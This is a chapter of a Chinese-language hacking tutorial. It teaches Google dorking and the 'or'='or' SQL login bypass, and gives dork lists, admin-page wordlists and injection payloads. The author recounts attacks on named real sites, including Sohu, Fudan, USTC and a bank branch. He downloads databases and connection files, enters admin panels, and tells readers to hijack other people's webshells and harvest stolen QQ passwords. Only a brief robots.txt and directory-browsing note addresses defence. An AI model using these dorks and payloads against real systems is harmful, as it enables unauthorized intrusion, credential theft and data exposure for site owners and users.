第二章 常规脚本漏洞演练
上一章给大家讲解了 ASP、PHP、JSP 的环境搭配,有了这些基础之后我们就可以在自己的电脑上搭建网站了。这为以后进行攻击及代码分析提供了比较方便的道路,特别是对于那些不能够上网的朋友来说,更加如此。但是,如果可以上网的话,最好还是用网上的网站来做试验,毕竟那是最好的战场,会出现各种不可预料的情况,可以更加提高我们的能力,不过前提必须是不破坏,不做任何坏事,就相当于给人家做免费的安全测试,那才我们的黑客精神嘛!
本章给大家介绍在脚本环境下的主要漏洞攻击技术,本章是以动手为主,理论比较少。特别适合对于一些对脚本没有任何认识,也从来没有学过脚本漏洞攻击的朋友,就更加是一个入门和学习的机会,相信通过本章,你们一定可以快速掌握大多数的脚本攻击技术。如果你已经对脚本攻击技术很熟悉了,那本章也会为你来一个总结,让知识系统化。
Google Hack技术大演练
Google Hack 技术是现在最火暴的黑客技术之一。其原理很简单,就是利用搜索引擎强大的搜索能力,来查找一些存在漏洞的网站。要利用 Google 来查找网站的漏洞自然要学会
Google 这个搜索引擎的语法了。下面先给大家讲解一下 Google 的语法,然后教大家怎么利用它来入侵,这项技术在我们的撒网式攻击中技术中是最好的方法。
(1)、介绍
作为 google 爱好者的我,在讲 google hacking 前先对 google 介绍一下。
①、google 介绍:Google 成立于 1997 年,目前已经成为全球第一搜索公司。Google 数据库存有 42.8 亿个 Web 文件;检索网页数量达 24 亿;支持多达 132 种语言;具有 15000 多台服务器,200 多条 T3 级宽带;通过采 PageRank 技术能够提供准确率极高的搜索结果;智能化的"手气不错"提供最符合要求的网站; "网页快照"可以从 Google 服务器里直接取出缓存的网页;独到的图片搜索功能;强大的新闻组搜索功能;提供二进制文件搜索功能,如.PDF .doc .swf 等等;容量超大的 Gmail 服务;强大的桌面搜索;高清晰的 google 卫星地图;提供各种语言之间的翻译。
②、google 常见功能:
A.汉语拼音输入检索:输入 changsha(如图 2-1) 注:拼音之间不可以有间隔
图 2-1 拼音检索长沙 B.翻译功能:输入 fy 音乐(如图 2-2) 注:翻译可直接写成 fy
图 2-2 翻译 音乐 C.天气查询:输入 changsha tq(如图 2-3) 注:天气可直接写成 tq
图 2-3 拼音查看长沙天气
D.股票查询:输入 中国石化 gp(如图 2-4) 注:股票可直接写成 gp
图 2-4 查看中国石化股票 E.邮政编码和区号查询:输入 qh 长沙(如图 2-5) 注:区号可直接写成 qh
图 2-5 查看长沙区号 F.手机查询归属地查询:输入 13875876817(如图 6) 注:直接输入号
图 2-6 查询收集归属地
G.购物查询:输入 potato(土豆)(如图 2-7) 注:URL:froogle.google.com
图 2-7 选 购 土 豆 , 有 其 价 格 、 商 店 等 信 息 H. 条 形 码 查 询 I. 飞 机 航 班 查 询 J. 检 索 工 具 栏
K.google 新闻 L.网站排名 (2)、语法
利用 Google 的语法我们可以做很多事情,2006 年的时候网络上出现了几件大事,比较出名的有“魔兽铜须事件”,很多黑客就是利用 Google Hack 技术找到了铜须的 QQ 号码、
MSN、邮件地址等个人信息。目前黑客利用 Google Hack 技术来进行入侵或资料收集的时候主要有以下几点:
①、在入侵之前,可以利用 Google Hack 技术进行信息收集,典型的有比如查找网站后台及网站的拓扑结构等等。
②、当发现或者公布某个漏洞之后,利用 Google Hack 技术大量收集存在这个漏洞的主机或网站,典型的有许愿版暴库漏洞,利用 Google Hack 技术找到许愿版之后就暴库,最后得到 Webshell。
③、边入侵边搜索,因为我们的入侵过程是一个动态的,我们必须根据不同的情况来区分各种入侵的方法和技巧,而 Google Hack 技术可以非常好的完成这项任务。
④、直接搜索网站的默认数据库文件,这个我们可以结合挖掘鸡这类工具来进行入侵和渗透,那么效果会更加明显。
⑤、搜索别人留下来的后门或者比如通过 WEB 方式盗的 QQ 号码等纪录文件,和上面一样,也可以结合挖掘鸡来渗透。挖掘鸡这个工具我会在后面详细讲解的。
踩点在入侵当中起着决定性的作用,也是决定入侵成败的最重要因素。它占据了整个入侵过程中 90%以上的时间。FootPrinting 要收集的信息一般主要有十个方面:(以网站为例)
网站注册信息
网管资料
共享资料
端口信息
FTP 资源
网站拓扑结构
网站 URL 地址结构
网站系统版本
后台地址
弱口令
下面还给大家提供 Google 的另外一些入口地址,对于特定的搜索很有好处哦,可以提高很多效率。
http://www.google.com/microsoft 微 软 风 格 入 口
http://www.google.com/mac MAC 风 格 入 口
http://www.google.com/bsd BSD 风 格 入 口
http://www.google.com/intl/xx-elmer 宗 教 风 格 入 口
http://www.google.com/intl/xx-hacker 黑 客 专 用 入 口
http://www.google.com/custom?domains=域名 站内搜索地址 http://www.google.com/custom?hl=zh-CN 中文黑客专用信息和资料搜索地址 http://www.google.com/custom?hl=en 英文黑客专用信息和资料搜索地址
http://www.mytianwang.cn/ 国 内 FTP 文 件 搜 索 引 擎
下面开始讲解我们的 Google 语法,google hack 技术说白了就是结合 google 的语法和一些关键字来对网站进行的渗透的。
intext:关键字。
把网页正文中某个关键字做为搜索条件,然后搜索全世界网页正文中含有这些关键字的网页,allintext:关键字。功能相同 。比如搜索网页登陆口,intext:验证码 4800,如图 2-8 和图 2-9 所示。
图 2-8 查找网页中含有“验证码 4800”关键字的网站,目的是找到用户登陆口
图 2-9 找到登陆口
intitle:关键字。
把网页标题中某个关键字做为搜索条件,然后搜索全世界网页标题中含有这些关键字的网页,allintitle:关键字。功能相同。比如搜索网站后台,intitle:后台登陆,如图 2-10
和图 2-11 所示。
图 2-10 搜索网页标题为“后台登陆”的网页
图 2-11 查找到的后台登陆口
cache:关键字。
搜索含有关键字内容的 cache。比如搜索北京大学网站服务器中缓存的内容, cache:pku.edu.cn,结果如图 2-12 和图 2-13 所示。
图 2-12 检索到北京大学的缓存
图 2-13 就是北京大学缓存里的信息
define:关键字。
搜索关键字的定义。比如查找 html 的定义,如图 2-14 所示。
图 2-14 html 的定义
filetype:文件名.后缀名。
搜索特定的文件。比如我要搜索信息安全方面的论文,我们输入“信息安全论文 filetype:doc”就可以找到了,如图 2-15 所示。
图 2-15 搜索到的“信息安全论文”
info:关键字。
这个语法用于搜索指定站点的一些基本信息。比如搜索北京大学网站的一些信息,如图 2-16 所示。
图 2-16 北京大学网站的一些信息
inurl:关键字。
搜索含有关键字的 URL 地址。这个语法非常的重要,使用的也是最为频繁,我们还可以使用 allinurl 来更加精确的定位 URL 地址。比如搜索含有 movie 的 URL 地址,输入 “inurl:movie”即可,那么找出来的大部分是电影网站,如图 2-17 所示。
图 2-17 搜索含有“movie”的URL
link:关键字。
查找与关键字做了链接的 URL 地址,利用它我们可能搜索到一些敏感信息。 site:域名。
返回域名中所有的 URL 地址,它可以探测网站的拓扑结构进行,也是非常的重要,使用非常频繁。比如搜索北京大学所有学院的 URL 地址,我们输入“学院 site:pku.edu.cn”就可以搜索到它所有的学院,如图 2-18 所示。
图 2-18 北京大学所有的学院
related:URL
搜索与指定 URL 相关的页面。比如搜索与北京大学相关的网页,我们输入关键字 “related:pku.edu.cn”即可看到,如图 2-19 所示。
图 2-19 搜索与北京大学相关页面 stocks:搜索有关一家公司的股票市场信息
insubject:搜索 Google 组的标题行 msgid:搜索识别新闻组帖子的 Google 组信息标识符和字符串 group:搜索Google 组搜索词汇帖子的题目 author:搜索新闻组帖子的作者 bphonebook:仅搜索商业电话号码簿 rphonebook:仅搜索住宅电话号码簿 phonebook:搜索商业或者住宅电话号码簿 daterange:搜索某个日期范围内 Google 做索引的网页 inanchor:搜索一个 HTML 标记中的一个链接的文本表现形式不过需要注意以下几点:
google 搜索多个关键字时之间用间隔。空格表示逻辑与操作。
google 中-表示逻辑非操作。如 A-C 表示搜索有 A 但没C 的网页。
google 中OR 表示逻辑或。如 AORB 表示搜索含有A 的网页 B 的网页 和同时含A 和B 的网页。
google中精确搜索用双引号,比如我们搜索脚本黑客和"脚本黑客",两者之间的差别就是一个双引号,如图 2-20 所示,显示了他们搜索结果的差别。
图 2-20 显示了有引号与无引号之间的差别
google 中的通配符。*表示一连串字符,?代表单个字符。含有通配符的关键字要用引号。
google 对英文关键字的大小写不敏感。
google对出现频率极高的英文单词做忽略处理。如 . com i www http 等。如果要对忽略的关键字进行强制搜索,则需要在该关键字前加上明文的"+"号。
google 大部分常用英文符号(如问号,句号,逗号等)无法成为搜索关键字,加强制也不行。还有一点就是,可能大家都知道 BAIDU 的网页快照,其实 Google 也有这个功能
的,他的 URL 地址是 http://www.googlesyndicatedsearch.com/u/berkeley,比如我们要快照北京大学,那么输入北京大学(pku.edu.cn)的网址就可以了,如图 2-21 所示。
图 2-21 北京大学的快照
以上这些就是 google 的一些基本语法,要对某个站点进行渗透就要利用
上面的语法来构造出一些精美的语句,从而找出站点的一些敏感信息。下面我们就来体验简单体验一下 Google Hack 技术给我们带来的方便吧。
(3)、入侵
①、渔翁得利——查找别人留下的 Webshell
很多人在入侵网站得到 Webshell 后,并没有把网页木马的一些关键字去掉,而是保留了原样,这样我们就可以利用 Google 强大的搜索能力。利用木马的关键字找出那些 Webshell来。比如很多木马都有“绝对的路径、输入保存的路径、输入文件的内容”等关键字。有这
个关键字的木马的文件名默认是 diy.asp。那么我们就以上面的上面的为关键字构造一个搜索条件吧,搜索内容为:绝对的路径 输入保存的路径 输入文件的内容 inurl:diy.asp。搜索的结果如图 2-22 所示,随便打开一个就可以得到一个 webshell 了,如图 2-23 所示。
图 2-22 查找 webshell
图 2-23 得到的 webshell
其实这类攻击就是利用一些默认的信息去查找,至于其他木马的关键字大家可以自己去收集,然后自己去构造,这样可能会得到意外的效果哦!
②、搜索存在注入漏洞的站点
对于以前没有玩过注入或者玩的不熟悉的朋友应该都有一些困惑吧,就是很难找到一个网站的注入漏洞,其实这里我们完全可以结合 Google Hack 技术来达到批量注入的效果,这里注入我们还需要一个注入工具,对于批量搜索注入方面我觉得还是啊 D 这个工具配合的比较好,比如我们打开 google,在里面搜索 URL 地址中含有 asp?id=关键字的 URL,如图 2-24所 示 , 然 后 打 开 啊 D 把 图 2-24 中 google 的 搜 索 地 址 http://www.google.com/search?hl=zh-CN&newwindow=1&q=inurl%3Aasp%3Fid%3D&lr=填入到扫描注入点中的检测网址,然后点击打开网页。最后就是点击 google 页面中的下一页按钮,那么这样就可以找到存在注入漏洞的网站了,如图 2-25 所示。
图 2-24 搜索 URL 中含有 asp?id=的网址
图 2-25 批量搜索到存在注入的网站
③、查找特定网站的注入漏洞
上面给大家演示了如何批量的搜索注入漏洞,同样我们可以利用 Google Hack 技术来查找特定网站的漏洞。比如我们要渗透搜狐网站,找到搜狐网站的注入漏洞。上面我们找的 asp 网站的注入漏洞, 下面我们就来找找 PHP 网站的漏洞,我们在 google 中输入 site:sohu.com inurl:php?id=后就可以看到 sohu 网站所有存在 php?id=的网站了,如图 2-26 所示。
图 2-26 搜索 sohu 中的 php 页面
查到了这些 php 页面后我们就要自己去一个个判断是否存在注入漏洞了,判断注入漏洞的方法很简单,就是在网址的最后面加上两段代码,一为 and 1=1 和 and 1=2。如果加上了上面的代码后返回的 and 1=1 和 and 1=2 页面不同,那么就说明存在注入漏洞了,至于为什么这样就可以判断是否存在注入漏洞在后面我会给大家详细说明。这里还需要注意的一点是
and 和 url 的最后面应该有一个空格,比如 http://www.sohu.com/attric.php?id=12 and
1=1,这里大家要特别注意:id=12 与 and 之间存在一个空格,而空格在输入我们的 URL 地址栏内后就会被编码成%20,也就说%20 在 URL 地址栏内就代表一个空格。通过我对搜索出来的页面的查找终于找到了一个存在注入漏洞的地方了,图 2-27 和图 2-28 就是判断其是否存在注入漏洞。
图 2-27 加上 and 1=1 之后页面返回正常
图 2-28 加上 and 1=2 之后页面返回不正常,由此说明存在漏洞
④、挖掘鸡的运用
前面我就两次提到了挖掘鸡这个工具,对于这个本人是非常喜欢的,利用 google hack的原理及技术可以为我们得到很多想要的东西,我曾经就发表过一篇关于挖掘鸡的文章,下面我就引用我写的那篇文章。
这篇文章主要是介绍一下挖掘鸡的运用,在撒网试攻击当中我最喜欢的就是挖掘鸡。它就是利用关键字,然后在网络当中查找出符合这些关键字的 URL 地址。其原理和 google
hacking 相类似。都是利用关键字查找有漏洞的网站,但是挖掘机会自动提取出那些 URL 地址来。比用 google hacking 更加方便而且还可以找出一些搜索引擎找不到的 URL 地址。
挖掘机主要是检测以缺省路径存在的孤立页面,这样的页面一般没有和其他页面进行连接,所以搜索引擎里一般是很难找到,目前挖掘机已经发展到了 2.5 版本。只要攻击者构
造一些精美的语句出来就可以大规模的入侵网站,它的页面如图 2-29 所示。这个工具已经在光盘中有收录了,这个工具的用法在帮助当中都有,这里不详细讲解了。今天主要讲运用它来入侵。
图 2-29 挖掘鸡的页面
盗 QQ:我们这个现在盗 QQ 的软件一般都支持两种发送密码的体制(如阿拉 QQ 大盗),一种通过邮箱另一种通过 WEB。很多人在用 WEB 接受 QQ 密码的时候喜欢用把接受 QQ 的文件名设为 QQ.txt 或者 qq.txt。所以查找一些含有 QQ.txt 或者 qq.txt 的URL 地址那么很有可能找出别人幸幸苦苦的密码拉。
挖掘内容如下:
文件名:qq.txt 和QQ.txt目录组:/qq.txt 和/QQ.txt特征符:password
关键字:欢迎 欢迎光临 个人 Welcome
等了几分钟以后就找到了一些这样的网页了。这写都是别人盗 QQ 时候生成的文件如图 2-30所示。
图 2-30 盗取的 QQ 号码
下载数据库:很多网站没有把默认的数据库地址改掉,比如 DVBBS 的默认数据库是:
dvbbs7.mdb。那么有了这些默认数据库名我们就可以查找出没有改掉默认数据库的网站地址了。还是用 DVBBS 来举例吧,挖掘内容如下:
文件名:dvbbs6.mdb
dvbbs7.mdb目录组:/data
/databackup
关键字:dvbbs 动网论坛 欢迎
存在这样漏洞的网站非常的多,请看图 2-31。大部分都可以下载,如图 2-32。
图 2-31 挖掘到的默认数据库
图 2-32 可以下载数据库
暴库漏洞:暴库一般是加上%5c 或者 inc 等一些符号让系统在调用数据库时出现错误,然后返回的数据中提示调用数据库出现错误,错误里面一般都含有数据库的绝对路径。前不久许愿版出现了暴库漏洞,那就先用挖掘鸡把许愿版找出来。
文件名:wish.asp目录组:/wish 关键字:许愿版
找出了一些许愿版的网站,如图 2-33,直接访问暴出它的数据库,如图 2-34。
对于暴库我会在后面详细的讲解,这里大家就只需要知道,我们只需要在 URL 地址的最后一
根斜杠(/)改成%5c 就可以暴库了。
图 2-33 挖掘到的许愿版
图 2-34 通过暴库得到数据库地址
查找 webshell:目前有很多 webshell 都有自己的名字和登陆密码。但是很多人在上传木马的时候并没有改默认的名字和密码,所以就可以利用这些信息来查找出这些 webshell 来,登陆后改掉密码,那么就不费力气的得到了一个服务器,很爽吧。
文件名:wei.asp
2006.asp lcx.asp LP.asp newhjzf.asp newasp.asp 2005red.asp 2005.asp 2005Gray.asp
phpspy_2006.php目录组:/
关键字:登陆 Login 密码(不同的木马有不同的关键字)
等我喝完一杯可乐回来以后,就找到好多了,如图 2-35 所示。
图 2-35 搜索到的 webshell 地址
我们随便打开一个看看,如图 2-36 所示,登陆看看,如图 2-37 所示。
图 2-36 我们找到的 webshell
图 2-37 登陆 webshell 后的情况
查找登陆口、后台:文件名:login.asp
admin.asp denglu.asp manager.asp guanli.asp
目录组:/
关键字:管理 登陆 后台
可以轻易找出网站的后台地址,而且有的网站居然把密码都列举出来了,如图 2-38 所示。其实就算没有密码,还是可以利用默认密码、后台过滤不严格等漏洞来登陆后台的。
图 2-38 查找到的后台,并且自己提供了密码
查找注入漏洞:要查找注入漏洞首先要知道哪个系统有注入漏洞,然后通过独一无二的关键
字进行挖掘。例如下面常见的注入:文件名:asp?id=
asp?newsid= asp?page=
asp?Article= 等等目录组:/
关键字:自己构造,只要网页正文或者标题上有的就可以了。
一下就挖掘出了很多如图 2-39 所示,随便打开一个就发现了漏洞如图 2-40 所示。
图 2-39 查找到的注入地址
图 2-40 判断出网站存在注入漏洞
其实还有很多这样相似的漏洞,比如上传漏洞等等,我们都可以利用它来找。其他的漏洞攻击方法也都是大同小异,方法和原理都是一样的。
其实挖掘鸡这个工具是很简单的,正是因为它简单所以才给了我们很大的发挥空间,和 google hacking 是一样的,原理是很简单,但是技巧性是很大。它并不像其他工具一样,不管你水平怎么样,只要知道怎么用结果都是一样。本人不喜欢那样机械的工具,根本很难发挥出一个人的想象力。挖掘鸡就不一样了,它可以充分发挥出一个人的想象力和水平。要用好挖掘鸡这样的工具,最好是要关注最新的漏洞报告,根据漏洞报告来入侵的效果很好,因为在漏洞刚刚发布出来的时候很多网站还没有打上补丁,这个时候玩的就很顺利。上面的许愿版漏洞就是如此,我一发现许愿版出现漏洞就马上用它来入侵,结果得到了很多 webshell。
挖掘鸡的缺点就是只能够挖掘没有链接关系的页面,一定程度上限制了它对网站的渗透深度,但是这同时也它的优点之一。如果要查找没有链接关系的页面首选就是挖掘鸡,虽然 google hacking 也可以达到这个效果,可是挖掘鸡对 URL 地址进行了整理。很多情况下要把挖掘鸡同 google hacking 结合起来用,互相取长补短,才可以发挥出最大的作用。要用好挖掘鸡不仅要关注最新的漏洞报告,还要能够构造出比较经典的语句出来,同时结合 google hacking 来对网站进行渗透,那么我们的肉鸡就会大大增加了。
⑤、目录浏览漏洞
目录浏览漏洞其实就是服务器没有配制好而导致的,结果是非常多的敏感信息被泄露,我发表过一篇关于目录浏览与 google hack 的文章,下面我就以我的文章来说明这个漏洞的利用方法。
目录浏览与 Google Hack
某日, 十分无聊的坐在电脑前浏览黑客杂志, 在看到暴库漏洞时,我突然想起了
inc/conn.asp 这种攻击方法还从来没有成功过(这种方法指使用搜索引擎搜索一些敏感关键字获取网站数据,conn.asp 往往是 ASP 程序里包含数据库连接信息的文件),既然兴趣来了就开工。直接在 Google 里输入“inurl:/inc/conn.asp”发现根本没有这样的网,如图 2-41 所示。后来输入“inurl:conn.asp”,发现找到了一个暴库漏洞的网站,如图 2-42 所示。
图 2-41 输入 inurl:/inc/conn.asp 没有找到页面
图 2-42 搜索含有 conn.asp 的页面
可是我找了上千个网页也只有这一个网站,后来编写了很多类似 google 关键字,可效果都是差不多。经过一个下午的思考事情终于有了新的转机,攻击的方向也随着发生了变化,不过效果却相当的惊人。
下午顶着两节课没上的危险,一直在思考着。突然我的灵感来了,无意中构造了
“inurl:/inc+conn.asp”这个关键字,发现它居然找出了很多网站的漏洞,如图 2-43 所示。来看看具体的网站,如图 2-44 所示,再看看 conndb.asp 这个文件的内容,如图 2-45 所示。
图 2-43 搜索 URL 中含有 inc 及页面中含有 conn.asp 的页面
图 2-44 搜索出来的网站信息
图 2-45 网站 conn.asp 文件的数据库的地址
一个网站就这样轻易的被攻破了,实在是吓了我一大跳。后来我仔细的查阅了每一个网站,发现他们都有一个共同点就是都含有“to parent directory”这句话。那么我们就查找“to parent directory”看看,如图 2-46 所示。
图 2-46 存在 to parent directory 的页面
居然有 229000000 项符合“to parent directory”的查询结果,太令我兴奋了。经过和老师一个中午的激烈讨论,终于从他那里知道原来是服务器没有配置好而出现的安全问题,问题就出在服务器的“目录浏览”上,不仅 IIS 和 Apache 存在这样的问题,而且大部分服务器都存在这样的类似问题。
通过我上面的思考与分析得出的结论是网站可以被目录浏览,而又可以搜索数据库链接文件,从而导致了数据库物理路径泄露。现在不仅仅要把网站数据库地址找出来,还要把所有存在目录浏览的特定网站找出来。那么就以存在目录浏览的网站为基础,在去他们网站上查找敏感文件,这样不就可以得到肉鸡了吗?这需要编写一些 google hacking 关键字,经过半个多月的整理与实践。今天把关键字写出来与各位朋友一起分享。
1. 所有可以目录浏览的网页都有一些相同的地方,主要是下面几个: To parent directory parent directory Last modified Description 转到父目录 index of /
<DIR>等等。
上面这些词语是查找存在目录浏览网站的基础,也是组成关键字的核心。而且我们可以把“To parent directory”翻译成世界上的各个国家的语言,比如翻译成中文是“转到父目录”。那么我们搜索“转到父目录”也可以查找到很多网站,而且都是中国内地的网站,如图 2-47 所示。
图 2-47 搜索含有“转到父目录”的页面
2.而利用 google 来搜索目录浏览的 google 语法主要有:intitle intext inurl site filetype 等等。
3.搜索特定的文件,我们需要用到文件后缀名,常见的文件后缀有:avi bak bmp dll exe ini mp3 rar txt wav js wav zip chm 等。地址:http://www.vipcn.com/InfoView/A
rticle_43112.html 上有目前世界上绝大部分的文件后缀,有关文件后缀可以到上面查询。
4.我们还可以搜索特定的文件夹,不同的系统有不同的文件夹,这里列举了常见的文件夹名:Inetpub etc movie music dianying yinyue tv dianshi share admin login denglu
guanli 电影 电视 音乐 共享 管理 登陆 bbs vote luntan toupiao 论坛 投票 upload
shangchuan 上传 check yanzhen 验证等等。我们来看看效果,比如我们搜索 IIS 下的根文件夹 inetpub,如图 2-48 所示,这样 IIS 服务器下的所有东西我们就都可以看到了。
图 2-48 查找 IIS 下的关键字 inetpub 5.搜索协议,常见的协议有 TCP IP DNS TELNET 等等,具体的请到 http://www.cnpaf.net/
(中国协议分析网)上去查询。比如我要看 TCP/IP 协议详解,如图 2-49 所示。
图 2-49 查看 ICP/IP 的页面 6.搜索域名后缀,常见的域名后缀有:com net mil org info gov edu biz coop aero pro int arpa 等等,还可以针对不同地区来查找比如 cn 等等。可以到
http://www.windstudio.net/html/200508/20050829221807.htm 上查看全球的域名后缀,我们来看看美国军方存在这个漏洞的网站,如图 2-50 所示,居然存在 118000 项符合条件的网页,里面多少也应该有一点点机密资料吧。
图 2-50 查看军方网络里的目录浏览漏洞
其实上面都是以常见的词语来进行查找的,所以构造关键字的原理就是利用第一点中的词语和 google 语法,在加上一些常见的词语,就可以编写出好的攻击关键字出来。不过找出来的很多网站里面的文件是不能够读取的,权限比较小。但是权力再小我们也可以得到对方网站的体系结构,这为我们踩点省了很多力气呀!能够直接读取的,那几乎是完美了,可以不费吹灰之力就可以攻破。
下面我通过几个实际的例子来运用上面的理论知识,实践才是检验真理的唯一标准。 1.复旦大学:输入 intext:to parent directory+intext:mdb site:fudan.edu.cn 语句,
搜索网站数据库文件,如图 2-51 所示。
图 2-51 查看复旦大学的数据库文件
不仅数据库文件可以下载,其他的 asp 文件也可以下载得到源代码。打开刚下载的数据库,管理员的密码就轻松得得到了,如图 2-52 所示,接下来就是登陆后台,上传木马和提权了,这里就不多讲了。
图 2-52 下载到的数据库文件
2. 中国科 学技术大 学:输 入 intext:to parent directory+intext:conn.asp
site:ustc.edu.cn 语句,搜索网站的数据库链接文件 conn.asp,如图 2-53 所示,下载一个文件后发现里面居然是网站最敏感的数据,如图 2-54 所示。
图 2-53 搜索中国科技大学的数据库连接文件
图 2-54 得到的数据库连接敏感信息
4.交通银行郑州分行:输入 to parent directory site:202.102.239.179 语句,有一个日志文件,如图 2-55 所示,下载后发现有一些绝对路径的敏感信息,如图 2-56 所示。
图 2-55 得到银行的目录浏览
图 2-56 得到银行的备份敏感信息
5.无意中的 Webshell:输入 inurl:/inc+conn.asp 语句后得到了一个免费的 Webshell,如图 2-57 所示。
图 2-57 得到的 webshell
从攻击者的角度来讲,最主要的就是写攻击关键字。关键字的原理也很简单,就是以目录浏览的那几个关键字为中心,然后利用发散思维(比如默认数据库链接文件)不断的去扩展关键字的范围,从而获得更多的肉鸡。从管理员的角度来讲,千万不要忽视服务器上“目录浏览”功能,如果配置不当,特别是网站根目录也允许目录浏览的话,就可能会对网站产生毁灭性的打击,使用不当就是网站的一根软筋。所以“目录浏览”这个功能在使用的时候要慎重。其实与目录浏览一起的功能也是要慎重使用,这里以 IIS 为例。“脚本资源访问”和“写入”千万不要随便开启,除非有特殊情况。从暴库漏洞到目录浏览这一过程并不是一帆风顺,中间花了很多时间来思考,这一切的一切都是因为“目录浏览”引起的, 希望本文对各路朋友都有所帮助。服务与安全永远是对立的,我们所要做的就是在他们中间寻求对立与统一。
上面我们的利用现实了 Google 的强大搜索能力,当然还是有防范的方法。现在比较常见的方法就是使用 robots.txt 文件来阻止搜索网站的敏感信息。roboot.txt 文件文件就是搜索引擎通过一种程序 robot(又称 spider),自动访问互联网上的网页并获取网页信息。我们可以在自己的网站中建一个文本文件 roboot.txt,在这个文件中声明了这个网站中不想被搜索引擎访问的东西,这样,这个网站的部分或者全部内容就可以不被搜索引擎给搜索到了。对于 robots.txt 的信息更多的大家可以去访问http://www.baidu.com/search/robots.
html。这个文件比较的有用,比如管理员不想让搜索引擎搜索到网站的后台,那么他就可以把后台的地址加入到 robots.txt 文件中去,那么搜索引擎就不会去检索这些信息了。但是这样同样会带来安全问题,比如我们访问了这个 robots.txt 文件呢,那所有的敏感信息就全部被我们暴光了。
通过我对 robots.txt 文件的分析,发现这个文件都有一个共同点,那就是都含有 “User-agent:*”这个关键字,所以我们可以利用 Google Hack 来查找网站的 robots.txt文件,我们只需要在 Google 里输入“ intext:"User-agent:*" inurl:robots.txt ”、 “ intext:"Mediapartners-Google" inurl:"robots.txt" ”、“ intext:"Disallow:"
inurl:robots.txt”、“intext:"Allow:" inurl:"robots.txt"”、“inurl:"robots.txt"”等语句就可以搜索存在 robots.txt 文件的网站的信息了,如图 2-58 所示。
图 2-58 搜索到的 robots.txt
其实利用 google hacking 来踩点就是利用一些关键字来查询,而且关键字最好是要是世界上独一无二的那么就收集的信息就越全面。利用 google hacking 来入侵同样也是利用关键字。它的原理是很简单,语法也不多给了我们自己最大的自由发挥空间。利用它来入侵网站看上去是很合法的,所以它的隐藏性也是相当强的。只有灵活的运用它才能够达到最大的效果。
下面我给出一些最常见的语句,这些语句是一小部分,大部分是国外网站上公布出来的。可以做为自己的以后构造语句的参考。最新的语句请看 http://johnny.ihackstuff.com allinurl:bbs data
查找所有 bbs 中的含有 data 的URL filetype:mdb inurl:database
查找含有 database 的URL,且查找后缀名为 mdb 的文件 filetype:inc conn
查找含有后缀名为 inc conn 的文件 inurl:data filetype:mdb
查找含有 data 的URL,且查找后缀名为 mdb 的文件 intitle:"index of" data
查找网页标题中含有"index of" data 的网页 intitle:"Index of" .sh_history
查找网页标题中含有"Index of" .sh_history 的网页 intitle:"Index of" .bash_history
查找网页标题中含有"Index of" .bash_history 的网页 intitle:"index of" passwd
查找网页标题中含有"index of" passwd 的网页
intitle:"index of" people.lst
查找网页标题中含有"index of" people.lst 的网页 intitle:"index of" pwd.db
查找网页标题中含有"index of" pwd.db 的网页 "# -FrontPage-" inurl:service.pwd
查找含有 service.pwd 的URL 且网页中含有"# -FrontPage-" site:xxxx.com intext:管理
查找某个网站中网页正文含有"管理"的页面 site:xxxx.com inurl:login
查找某个网站中 URL 地址中含有 login 的页面 site:xxxx.com intitle:管理
查找某个网站中含有"管理"的标题的页面
'or'='or'经典漏洞攻击
'or'='or'漏洞是一个比较古老的漏洞了,它主要出现在后台登陆上,利用这个漏洞,我们可以不需要密码而进入系统的后台。它出现的原因是在编程的时候逻辑上考虑不足,还有就是没有对单引号进行过滤,从而导致了漏洞的出现。逻辑上考虑不足是在 AND 和 OR 上面没有考虑到他们的关系,这为'or'='or'提供了前提条件,而单引号没有过滤则为漏洞提供了触发条件,两者一结合就出现了这类漏洞了。在后面我会给大家从代码的角度完全解释这个漏洞,这里简单的给大家介绍一下。
利用这类漏洞进入不仅仅只有'or'='or' ,还有其他的语句,其他类似语句有 a'or'1=1--、'or1=1--、"or1=1--、or1=1--、'or'a'='a、"or"="a'='a、') or ('a'='a等等。
我们要利用这个漏洞就是要首先找到网站的后台了,上一节已经给大家讲解了 Google
Hack 技术了,利用它来找后台应该是非常轻松的事情了。不过这里我给大家提供一些后台页面的资料,分别是他们的文件名和后台关键字,这里我以 ASP 为例子来说明,下面的文件也是以 ASP 文件来说明,是 PHP 或其他脚本的时候,只需要把后缀名该成相应的脚本语言名即可。
后台文件名主要有: 1、 admin.asp
2、 ad_login.asp 3、 ad_manage.asp 4、 addmember.asp 5、 adduser.asp
6、 adm_login.asp 7、 admin/admin.asp
8、 admin/admin_login.asp 9、 admin/index.asp
10、 admin/manage.asp 11、 admin_admin.asp 12、 admin/login.asp 13、 admin_edit.asp 14、 admin_index.asp 15、 Admin_Login.asp 16、 admin_main.asp 17、 admin_pass.asp 18、 admin_user.asp 19、 adminadduser.asp 20、 adminlogin.asp 21、 adminuser.asp 22、 chkadmin.asp 23、 login.asp
24、 login/admin.asp 25、 login/index.asp 26、 login/login.asp 27、 user/admin.asp 28、 user/index.asp
同时我们还可以结合以下的关键字:密码、用户名、后台、帐号、会员、会员 ID、username、 password、user、pass 等等。
我们随便写条查询后台语句,比如 intext:用户名 inurl :admin/login.asp,我们搜索看看就可以得到很多网站的后台地址了,如图 2-59 所示。
图 2-59 搜索到的网站后台
大家还可以自己去构造一些查询语句,记得要多多实践。有了那么多后台了,我们可以一个个的去试,这种方法就是有点太笨了,不过也不失为一种,在大家一开始玩这个漏洞的时候也许只有用这个办法了。一般来说,这个方法可以用在我们入侵某一个特定网站的时候用到,比如找到网站的后台后可以用这种方法试一下。还有一种就是我们在分析代码的时
候可以从代码中找出系统是否存在这样的漏洞。考虑到第一次接触这个漏洞,大家可以去试一下我们第一次说的那种方法,看看大家的运气了,不过不要报太大的希望哦,毕竟这是一个老漏洞了。
我已经为大家找到了两个网站来给大家演示,一个是中国科技大学的一个研究院网站,网址为 http://www.ustcsz.edu.cn,找他的后台我们可以使用“inurl:admin/login.asp site : ustcsz.edu.cn”,非常轻松的就找到了后台登陆口。在得到后台登陆口后,在用户名和密码处都输入'or'='or',如图 2-60 所示,点击登陆我们就可以顺利的进入后台了,如图 2-61 所示。
图 2-60 在后台处输入'or'='or'
图 2-61 顺利进入后台
在前面我们就通过 Google Hack 来渗透了搜狐网站,我们就找到了一个存在注入漏洞的网站,不过在后面的继续渗透过程中,我又找到了一个搜狐的分站的后台,也发现存在 'or'='or'漏洞,如图 2-62 所示,我们只要在用户名和密码输入 a'or'1=1--、'or'='or'、 'or'a'='a 中的随便一个就可以进入后台,如图 2-63 所示。
图 2-62 后台登陆口
图 2-63 进入 SOHU 分站后台
